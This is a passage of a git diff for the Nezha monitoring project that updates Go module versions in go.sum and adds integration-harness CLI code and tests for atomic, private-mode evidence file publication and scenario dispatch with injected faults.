+go.opentelemetry.io/otel/sdk/metric v1.44.0/go.mod h1:5B5pMARnXxKhltooO4xUuCBorl65a4EpnTalObqOigA= +go.opentelemetry.io/otel/trace v1.44.0 h1:jxF5CsGYCe74MCRx2X4g7WsY/VBKRqqpNvXlX/6gtIk= +go.opentelemetry.io/otel/trace v1.44.0/go.mod h1:oLl1jrMQAVo6v3GAggN+1VH9VIz9iUSvW53sW1Q8PIE= go.uber.org/mock v0.6.0 h1:hyF9dfmbgIX5EfOdasqLsWD6xqpNZlXblLB/Dbnwv3Y= go.uber.org/mock v0.6.0/go.mod h1:KiVJ4BqZJaMj4svdfmHM0AUx4NJYO8ZNpPnZn1Z+BBU= go.yaml.in/yaml/v2 v2.4.4 h1:tuyd0P+2Ont/d6e2rl3be67goVK4R6deVxCUX5vyPaQ= go.yaml.in/yaml/v2 v2.4.4/go.mod h1:gMZqIpDtDqOfM0uNfy0SkpRhvUryYH0Z6wdMYcacYXQ= go.yaml.in/yaml/v3 v3.0.4 h1:tfq32ie2Jv2UxXFdLJdh3jXuOzWiL1fo0bu/FbuKpbc= go.yaml.in/yaml/v3 v3.0.4/go.mod h1:DhzuOOF2ATzADvBadXxruRBLzYTpT36CKvDb3+aBEFg= -golang.org/x/arch v0.25.0 h1:qnk6Ksugpi5Bz32947rkUgDt9/s5qvqDPl/gBKdMJLE= -golang.org/x/arch v0.25.0/go.mod h1:0X+GdSIP+kL5wPmpK7sdkEVTt2XoYP0cSjQSbZBwOi8= +golang.org/x/arch v0.27.0 h1:0WNVcR8u9yFz8j5FvdHpgwNp3FS5U4guYdzHwEiGjoU= +golang.org/x/arch v0.27.0/go.mod h1:0X+GdSIP+kL5wPmpK7sdkEVTt2XoYP0cSjQSbZBwOi8= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= -golang.org/x/crypto v0.49.0 h1:+Ng2ULVvLHnJ/ZFEq4KdcDd/cfjrrjjNSXNzxg0Y4U4= -golang.org/x/crypto v0.49.0/go.mod h1:ErX4dUh2UM+CFYiXZRTcMpEcN8b/1gxEuv3nODoYtCA= -golang.org/x/exp v0.0.0-20260312153236-7ab1446f8b90 h1:jiDhWWeC7jfWqR9c/uplMOqJ0sbNlNWv0UkzE0vX1MA= -golang.org/x/exp v0.0.0-20260312153236-7ab1446f8b90/go.mod h1:xE1HEv6b+1SCZ5/uscMRjUBKtIxworgEcEi+/n9NQDQ= +golang.org/x/crypto v0.54.0 h1:YLIA59K4fiNzHzjnZt2tUJQjQtUWfWbeHBqKtk3eScw= +golang.org/x/crypto v0.54.0/go.mod h1:KWL8ny2AZdGR2cWmzeHrp2azQPGogOv+HeQaVEXC2dk= +golang.org/x/exp v0.0.0-20260727155853-b88d891fe743 h1:ex206bKw+v3K0dm3andkrIF+ijyQKJG1pLgwQ2PYdQM= +golang.org/x/exp v0.0.0-20260727155853-b88d891fe743/go.mod h1:EdfpwwqSu+0Li0mzskwHU6FWDV3t9Q+RZDo3QMUtL3Q= golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= -golang.org/x/mod v0.34.0 h1:xIHgNUUnW6sYkcM5Jleh05DvLOtwc6RitGHbDk4akRI= -golang.org/x/mod v0.34.0/go.mod h1:ykgH52iCZe79kzLLMhyCUzhMci+nQj+0XkbXpNYtVjY= +golang.org/x/mod v0.38.0 h1:MECBjubtXD7yj4HrhIUcywNaGeNVUdfVnxmPajOk4yk= +golang.org/x/mod v0.38.0/go.mod h1:V6Xz0pq8TQ3dGqVQ1FVHuelZpAL0uNhSkk9ogYP3c40= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= -golang.org/x/net v0.52.0 h1:He/TN1l0e4mmR3QqHMT2Xab3Aj3L9qjbhRm78/6jrW0= -golang.org/x/net v0.52.0/go.mod h1:R1MAz7uMZxVMualyPXb+VaqGSa3LIaUqk0eEt3w36Sw= +golang.org/x/net v0.57.0 h1:K5+3DljvIuDG9/Jv9rvyMywYNFCQ9RSUY6OOTTkT+tE= +golang.org/x/net v0.57.0/go.mod h1:KpXc8iv+r3XplLAG/f7Jsf9RPszJzdR0f58q9vGOuEU= golang.org/x/oauth2 v0.36.0 h1:peZ/1z27fi9hUOFCAZaHyrpWG5lwe0RJEEEeH0ThlIs= golang.org/x/oauth2 v0.36.0/go.mod h1:YDBUJMTkDnJS+A4BP4eZBjCqtokkg1hODuPjwiGPO7Q= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.20.0 h1:e0PTpb7pjO8GAtTs2dQ6jYa5BWYlMuX047Dco/pItO4= -golang.org/x/sync v0.20.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0= +golang.org/x/sync v0.22.0 h1:SZjpbeLmrCk4xhRSZFNZW5gFUeCeFgjekvI/+gfScek= +golang.org/x/sync v0.22.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.42.0 h1:omrd2nAlyT5ESRdCLYdm3+fMfNFE/+Rf4bDIQImRJeo= -golang.org/x/sys v0.42.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= +golang.org/x/sys v0.47.0 h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs= +golang.org/x/sys v0.47.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= @@ -306,24 +319,24 @@ golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= -golang.org/x/text v0.35.0 h1:JOVx6vVDFokkpaq1AEptVzLTpDe9KGpj5tR4/X+ybL8= -golang.org/x/text v0.35.0/go.mod h1:khi/HExzZJ2pGnjenulevKNX1W67CUy0AsXcNubPGCA= +golang.org/x/text v0.40.0 h1:Ub2Z6/xjgF1WrYQz2nuITOEegKFtiIy+rieRJ5lHZKs= +golang.org/x/text v0.40.0/go.mod h1:hpnzDAfGV753zIKo+wk3u1bVKCGPbrnF7+7LBF/UHVY= golang.org/x/time v0.15.0 h1:bbrp8t3bGUeFOx08pvsMYRTCVSMk89u4tKbNOZbp88U= golang.org/x/time v0.15.0/go.mod h1:Y4YMaQmXwGQZoFaVFk4YpCt4FLQMYKZe9oeV/f4MSno= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= -golang.org/x/tools v0.43.0 h1:12BdW9CeB3Z+J/I/wj34VMl8X+fEXBxVR90JeMX5E7s= -golang.org/x/tools v0.43.0/go.mod h1:uHkMso649BX2cZK6+RpuIPXS3ho2hZo4FVwfoy1vIk0= +golang.org/x/tools v0.48.0 h1:3+hClM1aLL5mjMKm5ovokw9epgRXPuu2tILgismM6RE= +golang.org/x/tools v0.48.0/go.mod h1:08xX0orndb/F7jJxGDicx061tyd5pcMto75YMAXr6lk= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -gonum.org/v1/gonum v0.16.0 h1:5+ul4Swaf3ESvrOnidPp4GZbzf0mxVQpDCYUQE7OJfk= -gonum.org/v1/gonum v0.16.0/go.mod h1:fef3am4MQ93R2HHpKnLk4/Tbh/s0+wqD5nfa6Pnwy4E= -google.golang.org/genproto/googleapis/rpc v0.0.0-20260319201613-d00831a3d3e7 h1:ndE4FoJqsIceKP2oYSnUZqhTdYufCYYkqwtFzfrhI7w= -google.golang.org/genproto/googleapis/rpc v0.0.0-20260319201613-d00831a3d3e7/go.mod h1:4Hqkh8ycfw05ld/3BWL7rJOSfebL2Q+DVDeRgYgxUU8= -google.golang.org/grpc v1.79.3 h1:sybAEdRIEtvcD68Gx7dmnwjZKlyfuc61Dyo9pGXXkKE= -google.golang.org/grpc v1.79.3/go.mod h1:KmT0Kjez+0dde/v2j9vzwoAScgEPx/Bw1CYChhHLrHQ= -google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE= -google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco= +gonum.org/v1/gonum v0.17.0 h1:VbpOemQlsSMrYmn7T2OUvQ4dqxQXU+ouZFQsZOx50z4= +gonum.org/v1/gonum v0.17.0/go.mod h1:El3tOrEuMpv2UdMrbNlKEh9vd86bmQ6vqIcDwxEOc1E= +google.golang.org/genproto/googleapis/rpc v0.0.0-20260615183401-62b3387ff324 h1:9HZDLIdYBJXAnaFOr9WHrKVycfpY+75s9HGadC0305A= +google.golang.org/genproto/googleapis/rpc v0.0.0-20260615183401-62b3387ff324/go.mod h1:4Hqkh8ycfw05ld/3BWL7rJOSfebL2Q+DVDeRgYgxUU8= +google.golang.org/grpc v1.83.0 h1:JeNZEKJFbQxArAMl+hiytHauacDNqJUllNfmIMmpqnQ= +google.golang.org/grpc v1.83.0/go.mod h1:kDyl6SKsiHKt0uylY5gtn5cEjkrIOhQOGDgIc4JGwzQ= +google.golang.org/protobuf v1.36.12-0.20260120151049-f2248ac996af h1:+5/Sw3GsDNlEmu7TfklWKPdQ0Ykja5VEmq2i817+jbI= +google.golang.org/protobuf v1.36.12-0.20260120151049-f2248ac996af/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= @@ -341,7 +354,7 @@ gorm.io/driver/sqlite v1.6.0/go.mod h1:AO9V1qIQddBESngQUKWL9yoH93HIeA1X6V633rBwy gorm.io/driver/sqlserver v1.6.0 h1:VZOBQVsVhkHU/NzNhRJKoANt5pZGQAS1Bwc6m6dgfnc= gorm.io/driver/sqlserver v1.6.0/go.mod h1:WQzt4IJo/WHKnckU9jXBLMJIVNMVeTu25dnOzehntWw= gorm.io/gorm v1.25.7/go.mod h1:hbnx/Oo0ChWMn1BIhpy1oYozzpM15i4YPuHDmfYtwg8= -gorm.io/gorm v1.31.1 h1:7CA8FTFz/gRfgqgpeKIBcervUn3xSyPUmr6B2WXJ7kg= -gorm.io/gorm v1.31.1/go.mod h1:XyQVbO2k6YkOis7C2437jSit3SsDK72s7n7rsSHd+Gs= +gorm.io/gorm v1.31.2 h1:3o8FXNo9v9S858gil+3LlZA1LkCOzgb4g5BL64FgaCo= +gorm.io/gorm v1.31.2/go.mod h1:XyQVbO2k6YkOis7C2437jSit3SsDK72s7n7rsSHd+Gs= sigs.k8s.io/yaml v1.6.0 h1:G8fkbMSAFqgEFgh4b1wmtzDnioxFCUgTZhlbj5P9QYs= sigs.k8s.io/yaml v1.6.0/go.mod h1:796bPqUfzR/0jLAl6XjHl3Ck7MiyVv8dbTdyT3/pMf4= diff --git a/integration/agentcompat/cmd/agentcompat/artifact_publication_test.go b/integration/agentcompat/cmd/agentcompat/artifact_publication_test.go new file mode 100644 index 00000000..9875f896 --- /dev/null +++ b/integration/agentcompat/cmd/agentcompat/artifact_publication_test.go @@ -0,0 +1,165 @@ +//go:build linux + +package main + +import ( + "errors" + "os" + "path/filepath" + "testing" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" + "github.com/nezhahq/nezha/integration/agentcompat/internal/evidence" + "github.com/nezhahq/nezha/integration/agentcompat/internal/scenario" +) + +func TestCLI_ArtifactPublicationReplacesPublicFileAndFinalSymlink(t *testing.T) { + tests := []struct { + name string + setup func(*testing.T, string, string) + }{ + {"public file", func(t *testing.T, path, _ string) { + if err := os.WriteFile(path, []byte("old"), 0o644); err != nil { + t.Fatalf("write old file: %v", err) + } + }}, + {"final symlink", func(t *testing.T, path, sentinel string) { + if err := os.Symlink(sentinel, path); err != nil { + t.Fatalf("symlink final path: %v", err) + } + }}, + } + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "cleanup.json") + sentinel := filepath.Join(t.TempDir(), "sentinel") + if err := os.WriteFile(sentinel, []byte("unchanged"), 0o600); err != nil { + t.Fatalf("write sentinel: %v", err) + } + test.setup(t, path, sentinel) + if err := writeJSONArtifact(dir, "cleanup.json", map[string]bool{"passed": true}); err != nil { + t.Fatalf("publish artifact: %v", err) + } + info, err := os.Lstat(path) + if err != nil { + t.Fatalf("lstat artifact: %v", err) + } + if !info.Mode().IsRegular() || info.Mode().Perm() != 0o600 { + t.Fatalf("artifact mode=%v", info.Mode()) + } + content, err := os.ReadFile(sentinel) + if err != nil || string(content) != "unchanged" { + t.Fatalf("outside sentinel changed: content=%q err=%v", content, err) + } + }) + } +} + +func TestCLI_InterruptedScenarioPublicationLeavesAtomicInvalidDirectory(t *testing.T) { + dir := t.TempDir() + config := testCLIConfig(t, contract.ScenarioTransfer100MiB, contract.FaultTransferHash) + paths, err := contract.NewPaths(config.Paths.NezhaSource().String(), config.Paths.AgentSource().String(), dir) + if err != nil { + t.Fatalf("paths: %v", err) + } + config.Paths = paths + if err := writeMetadata(t.Context(), config, time.Now()); err != nil { + t.Fatalf("metadata: %v", err) + } + previous := scenarioArtifactPublished + scenarioArtifactPublished = func(name string) error { + if name == "results.json" { + return errors.New("injected publication interruption") + } + return nil + } + t.Cleanup(func() { scenarioArtifactPublished = previous }) + output := scenarioExecutionOutput{Result: scenario.Result{Name: contract.ScenarioTransfer100MiB, Passed: false, CleanupOK: true, Error: "transfer scenario: injected hash mismatch"}, Transfer: &scenario.TransferEvidence{WarmupUploadBytes: 65536, WarmupDownloadBytes: 65536, WarmupSHA256: "abc", WarmupDuration: time.Nanosecond, WarmupDeadlineRemaining: time.Second, WarmupQuiescent: true, OutsideRootSentinelsUnchanged: true}} + if err := writeScenarioEvidence(config, output, time.Now()); err == nil { + t.Fatal("publication interruption accepted") + } + if err := evidence.ValidateDirectory(dir); err == nil { + t.Fatal("partial evidence directory validated") + } + data, err := os.ReadFile(filepath.Join(dir, "results.json")) + if !errors.Is(err, os.ErrNotExist) || len(data) != 0 { + t.Fatalf("interrupted final file published: bytes=%d err=%v", len(data), err) + } +} + +func TestCLI_PrivateArtifactJoinsPrimaryAndCleanupErrors(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "results.json") + primaryErr := errors.New("publication hook failed") + removeErr := errors.New("temporary removal failed") + previousClose := privateArtifactClose + previousRemove := privateArtifactRemove + closeCalls := 0 + privateArtifactClose = func(file *os.File) error { + closeCalls++ + return file.Close() + } + privateArtifactRemove = func(string) error { return removeErr } + t.Cleanup(func() { + privateArtifactClose = previousClose + privateArtifactRemove = previousRemove + }) + + err := writePrivateArtifactWithSeam(path, []byte("payload"), func() error { return primaryErr }) + if !errors.Is(err, primaryErr) || !errors.Is(err, removeErr) { + t.Fatalf("publication error=%v, want primary and removal errors", err) + } + if errors.Is(err, os.ErrClosed) || closeCalls != 1 { + t.Fatalf("successful close repeated: calls=%d err=%v", closeCalls, err) + } +} + +func TestCLI_PrivateArtifactJoinsCloseAndRemoveErrors(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "results.json") + closeErr := errors.New("temporary close failed") + removeErr := errors.New("temporary removal failed") + previousClose := privateArtifactClose + previousRemove := privateArtifactRemove + closeCalls := 0 + privateArtifactClose = func(file *os.File) error { + closeCalls++ + if err := file.Close(); err != nil { + return err + } + return closeErr + } + privateArtifactRemove = func(string) error { return removeErr } + t.Cleanup(func() { + privateArtifactClose = previousClose + privateArtifactRemove = previousRemove + }) + + err := writePrivateArtifactWithSeam(path, []byte("payload"), func() error { return nil }) + if !errors.Is(err, closeErr) || !errors.Is(err, removeErr) { + t.Fatalf("publication error=%v, want close and removal errors", err) + } + if errors.Is(err, os.ErrClosed) || closeCalls != 1 { + t.Fatalf("close failure retried: calls=%d err=%v", closeCalls, err) + } +} + +func TestCLI_PrivateArtifactRemovesTemporaryFileAfterHookFailure(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "results.json") + err := writePrivateArtifactWithSeam(path, []byte("payload"), func() error { + return errors.New("publication hook failed") + }) + if err == nil { + t.Fatal("publication hook failure accepted") + } + entries, readErr := os.ReadDir(dir) + if readErr != nil { + t.Fatalf("read artifact directory: %v", readErr) + } + if len(entries) != 0 { + t.Fatalf("temporary artifact survived hook failure: %v", entries) + } +} diff --git a/integration/agentcompat/cmd/agentcompat/cli_config.go b/integration/agentcompat/cmd/agentcompat/cli_config.go new file mode 100644 index 00000000..2d9705f5 --- /dev/null +++ b/integration/agentcompat/cmd/agentcompat/cli_config.go @@ -0,0 +1,107 @@ +//go:build linux + +package main + +import ( + "errors" + "flag" + "fmt" + "io" + "os" + "path/filepath" + "strings" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" + "github.com/nezhahq/nezha/integration/agentcompat/internal/evidence" +) + +type scenarioFlags []contract.Scenario + +func (scenarios *scenarioFlags) String() string { + values := make([]string, 0, len(*scenarios)) + for _, scenario := range *scenarios { + values = append(values, scenario.String()) + } + return strings.Join(values, ",") +} + +func (scenarios *scenarioFlags) Set(value string) error { + scenario, err := contract.NewScenario(value) + if err != nil { + return err + } + *scenarios = append(*scenarios, scenario) + return nil +} + +type cliConfig struct { + Paths contract.Paths + Profile contract.Profile + Seed contract.Seed + Scenarios scenarioFlags + Fault contract.Fault +} + +func parseFlags(args []string, stderr io.Writer) (cliConfig, error) { + flags := flag.NewFlagSet("agentcompat", flag.ContinueOnError) + flags.SetOutput(io.Discard) + nezhaSource := flags.String("nezha-source", "", "Nezha source directory") + agentSource := flags.String("agent-source", "", "Agent source directory") + profileName := flags.String("profile", "", "compatibility profile") + resultsDir := flags.String("results-dir", "", "evidence output directory") + seedValue := flags.String("seed", "0x4e5a4841", "deterministic seed") + faultName := flags.String("fault", "", "named fault injection") + var scenarios scenarioFlags + flags.Var(&scenarios, "scenario", "run only a named scenario; omit for the complete profile") + if err := flags.Parse(args); err != nil { + return cliConfig{}, errors.New("invalid command-line arguments") + } + paths, err := contract.NewPaths(*nezhaSource, *agentSource, *resultsDir) + if err != nil { + return cliConfig{}, err + } + if err := prepareResultsDirBeforeParse(paths.ResultsDir().String()); err != nil { + return cliConfig{}, err + } + profile, err := contract.ProfileByName(*profileName) + if err != nil { + return cliConfig{}, err + } + seed, err := contract.ParseSeed(*seedValue) + if err != nil { + return cliConfig{}, err + } + fault := contract.Fault{} + if *faultName != "" { + fault, err = contract.NewFault(*faultName) + if err != nil { + return cliConfig{}, err + } + } + return cliConfig{Paths: paths, Profile: profile, Seed: seed, Scenarios: scenarios, Fault: fault}, nil +} + +func prepareResultsDir(resultsDir string) error { + return prepareEvidenceArtifacts(resultsDir, evidence.FixedEvidenceFiles()) +} + +func prepareResultsDirBeforeParse(resultsDir string) error { + return prepareEvidenceArtifacts(resultsDir, evidence.FixedEvidenceFiles()[1:]) +} + +func prepareEvidenceArtifacts(resultsDir string, artifactNames []string) error { + if info, err := os.Lstat(resultsDir); err == nil && info.Mode()&os.ModeSymlink != 0 { + return errors.New("results directory must not be a symbolic link") + } else if err != nil && !errors.Is(err, os.ErrNotExist) { + return fmt.Errorf("inspect results directory: %w", err) + } + for _, name := range artifactNames { + if err := os.Remove(filepath.Join(resultsDir, name)); err != nil && !errors.Is(err, os.ErrNotExist) { + return fmt.Errorf("remove previous artifact %s: %w", name, err) + } + } + if err := os.RemoveAll(filepath.Join(resultsDir, "agents")); err != nil { + return fmt.Errorf("remove previous agent logs: %w", err) + } + return nil +} diff --git a/integration/agentcompat/cmd/agentcompat/dedicated_wiring_test.go b/integration/agentcompat/cmd/agentcompat/dedicated_wiring_test.go new file mode 100644 index 00000000..ef88549e --- /dev/null +++ b/integration/agentcompat/cmd/agentcompat/dedicated_wiring_test.go @@ -0,0 +1,154 @@ +//go:build linux + +package main + +import ( + "context" + "errors" + "os" + "path/filepath" + "reflect" + "testing" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" + "github.com/nezhahq/nezha/integration/agentcompat/internal/scenario" +) + +func TestCLI_SelectsTransferAndReconnectWithTypedEvidence(t *testing.T) { + tests := []struct { + name string + fault string + }{ + {contract.ScenarioTransfer100MiB, ""}, + {contract.ScenarioTransfer100MiB, contract.FaultTransferHash}, + {contract.ScenarioReconnect, ""}, + {contract.ScenarioReconnect, contract.FaultDashboardExit}, + } + for _, test := range tests { + t.Run(test.name+"/"+test.fault, func(t *testing.T) { + config := testCLIConfig(t, test.name, test.fault) + runnerErr := errors.New("dedicated runner sentinel") + wantResult := scenario.Result{Name: test.name, Passed: false, CleanupOK: true, Error: runnerErr.Error(), Assertions: []scenario.Assertion{{Name: "typed dispatch", Passed: false, Details: test.fault}}} + wantTransfer := scenario.TransferEvidence{WarmupUploadBytes: 65536, WarmupDownloadBytes: 65536, WarmupSHA256: "warmup", WarmupDuration: time.Second, WarmupDeadlineRemaining: 2 * time.Second, WarmupQuiescent: true, UploadBytes: contract.TransferBytes, DownloadBytes: contract.TransferBytes, UploadSHA256: "transfer-hash", DownloadSHA256: "transfer-hash", UploadChunks: 3, DownloadChunks: 4, UploadDuration: 5 * time.Second, DownloadDuration: 6 * time.Second, RetainedHeapBytes: 7, Mode: "0640", CreateDirs: true, UploadReplayRejected: true, DownloadReplayRejected: true, OversizeRejected: true, OutsideRootSentinelsUnchanged: true} + wantReconnect := completeReconnectDispatchEvidence(t) + previousTransfer := runTransferScenario + previousReconnect := runReconnectScenario + var receivedTransfer *scenario.TransferInput + var receivedReconnect *scenario.ReconnectInput + runTransferScenario = func(_ context.Context, input scenario.TransferInput) (scenario.Result, scenario.TransferEvidence, error) { + receivedTransfer = &input + return wantResult, wantTransfer, runnerErr + } + runReconnectScenario = func(_ context.Context, input scenario.ReconnectInput) (scenario.Result, scenario.ReconnectEvidence, error) { + receivedReconnect = &input + return wantResult, wantReconnect, runnerErr + } + t.Cleanup(func() { + runTransferScenario = previousTransfer + runReconnectScenario = previousReconnect + }) + + execution, err := selectScenarioExecution(config) + if err != nil { + t.Fatalf("select execution: %v", err) + } + output, runErr := execution.run(context.Background()) + if !errors.Is(runErr, runnerErr) { + t.Fatalf("runner error=%v, want sentinel", runErr) + } + if err := output.Validate(); err != nil { + t.Fatalf("validate typed output: %v", err) + } + if !reflect.DeepEqual(output.Result, wantResult) { + t.Fatalf("result=%#v, want %#v", output.Result, wantResult) + } + if test.name == contract.ScenarioTransfer100MiB { + wantInput := scenario.TransferInput{Paths: config.Paths, Fault: config.Fault} + if receivedTransfer == nil || *receivedTransfer != wantInput || receivedReconnect != nil { + t.Fatalf("transfer inputs: received=%#v reconnect=%#v want=%#v", receivedTransfer, receivedReconnect, wantInput) + } + if output.Transfer == nil || !reflect.DeepEqual(*output.Transfer, wantTransfer) || output.Reconnect != nil { + t.Fatalf("transfer evidence=%#v reconnect=%#v", output.Transfer, output.Reconnect) + } + } else { + wantInput := scenario.ReconnectInput{Paths: config.Paths, DashboardFault: config.Fault.String()} + if receivedReconnect == nil || *receivedReconnect != wantInput || receivedTransfer != nil { + t.Fatalf("reconnect inputs: received=%#v transfer=%#v want=%#v", receivedReconnect, receivedTransfer, wantInput) + } + if output.Reconnect == nil || !reflect.DeepEqual(*output.Reconnect, wantReconnect) || output.Transfer != nil { + t.Fatalf("reconnect evidence=%#v transfer=%#v", output.Reconnect, output.Transfer) + } + } + }) + } +} + +func TestCLI_RejectsUnsupportedScenarioFaultPairsBeforeRunner(t *testing.T) { + tests := []struct{ scenario, fault string }{ + {contract.ScenarioTransfer100MiB, contract.FaultDashboardExit}, + {contract.ScenarioReconnect, contract.FaultTransferHash}, + {contract.ScenarioMCPFilesystem, contract.FaultAgentBadSecret}, + } + for _, test := range tests { + called := false + previousTransfer := runTransferScenario + runTransferScenario = func(context.Context, scenario.TransferInput) (scenario.Result, scenario.TransferEvidence, error) { + called = true + return scenario.Result{}, scenario.TransferEvidence{}, errors.New("unexpected") + } + _, err := selectScenarioExecution(testCLIConfig(t, test.scenario, test.fault)) + runTransferScenario = previousTransfer + if err == nil || called { + t.Fatalf("unsupported pair started runner: scenario=%q fault=%q err=%v", test.scenario, test.fault, err) + } + } +} + +func TestCLI_WritesDedicatedArtifactWithPrivateMode(t *testing.T) { + resultsDir := t.TempDir() + output := scenarioExecutionOutput{ + Result: scenario.Result{Name: contract.ScenarioTransfer100MiB, Passed: false, CleanupOK: true, Error: "transfer scenario: injected hash mismatch"}, + Transfer: &scenario.TransferEvidence{WarmupUploadBytes: 65536, WarmupDownloadBytes: 65536, WarmupSHA256: "abc", WarmupDuration: time.Nanosecond, WarmupDeadlineRemaining: time.Second, WarmupQuiescent: true, OutsideRootSentinelsUnchanged: true}, + } + config := testCLIConfig(t, contract.ScenarioTransfer100MiB, contract.FaultTransferHash) + paths, err := contract.NewPaths(config.Paths.NezhaSource().String(), config.Paths.AgentSource().String(), resultsDir) + if err != nil { + t.Fatalf("paths: %v", err) + } + config.Paths = paths + if err := writeScenarioEvidence(config, output, time.Now()); err != nil { + t.Fatalf("write evidence: %v", err) + } + info, err := os.Stat(filepath.Join(resultsDir, "transfer.json")) + if err != nil { + t.Fatalf("stat transfer evidence: %v", err) + } + if info.Mode().Perm() != 0o600 { + t.Fatalf("transfer evidence mode=%o", info.Mode().Perm()) + } +} + +func testCLIConfig(t *testing.T, scenarioName, faultName string) cliConfig { + t.Helper() + paths, err := contract.NewPaths("/src/nezha", "/src/agent", t.TempDir()) + if err != nil { + t.Fatalf("paths: %v", err) + } + profile, err := contract.ProfileByName("pr-full") + if err != nil { + t.Fatalf("profile: %v", err) + } + scenarioValue, err := contract.NewScenario(scenarioName) + if err != nil { + t.Fatalf("scenario: %v", err) + } + fault := contract.Fault{} + if faultName != "" { + fault, err = contract.NewFault(faultName) + if err != nil { + t.Fatalf("fault: %v", err) + } + } + return cliConfig{Paths: paths, Profile: profile, Seed: contract.DefaultSeed, Scenarios: scenarioFlags{scenarioValue}, Fault: fault} +} diff --git 